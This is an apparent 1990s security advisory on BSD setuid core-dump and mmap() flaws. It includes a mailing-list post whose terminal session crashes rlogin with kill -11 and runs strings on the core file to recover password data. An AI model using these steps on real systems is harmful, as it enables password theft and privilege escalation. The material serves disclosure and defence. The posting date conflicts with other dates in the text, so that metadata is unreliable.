*BSD (and others) SetUID core vulnerabilities

Description:A 4.4BSD problem allows a read-only descriptor to a char device to be mmap()ed in RW mode. This can allow group kmem to become root and root to lower the system secure-level.
Author:Theo de Raadt and Chuck Cranor
Compromise:User kmem-> root ->modify secure-level->delete audit trail and load evil kernel mods.
Vulnerable Systems:OpenBSD 2.2 and below, FreeBSD 2.2.5 and below, BSDI 3.0 and NetBSD.
Date:17 February 1996 for this posting


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Bronc Buster wrote:

>This exploit is very similer to the FTP exploit on BSD that creates a
>ftp.core file you can then strings and get the encrypted password file.

I tried this technique on my FreeBSD 2.1.0 box. It didn't work. I started
playing around with dump files:

~> rlogin
Last login: Mon Feb 17 00:35:49 from localhost
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.   All rights reserved.

FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17 03:37:25 SAT 1996

You have new mail.

~> ps -ax | grep rlogin
 6528  ??  S      0:00.06 rlogind
 6527  p1  S+     0:00.05 rlogin
 6529  p1  S+     0:00.01 rlogin

~> kill -11 6529~> ls
Brain_Box       NS              cronjobs        mail            security
Mail            News            foon            rlogin.core
~>strings rlogin.core > unshadowed.passwdfile.reconstruct
~>vi unshadowed.passwdfile.reconstruct
and reconstruct..

I also tried this on a FreeBSD 2.1.5 box, and it did the same thing. I
wonder if there is a way to make a core dump only readable by root, and why
this isn't the default?

 Roelof W Temmingh                         Network & Data Security
 rt@nanoteq.com [w]                        South-Africa
 roelof@cube.nanoteq.co.za [ah]            http://www.nanoteq.com

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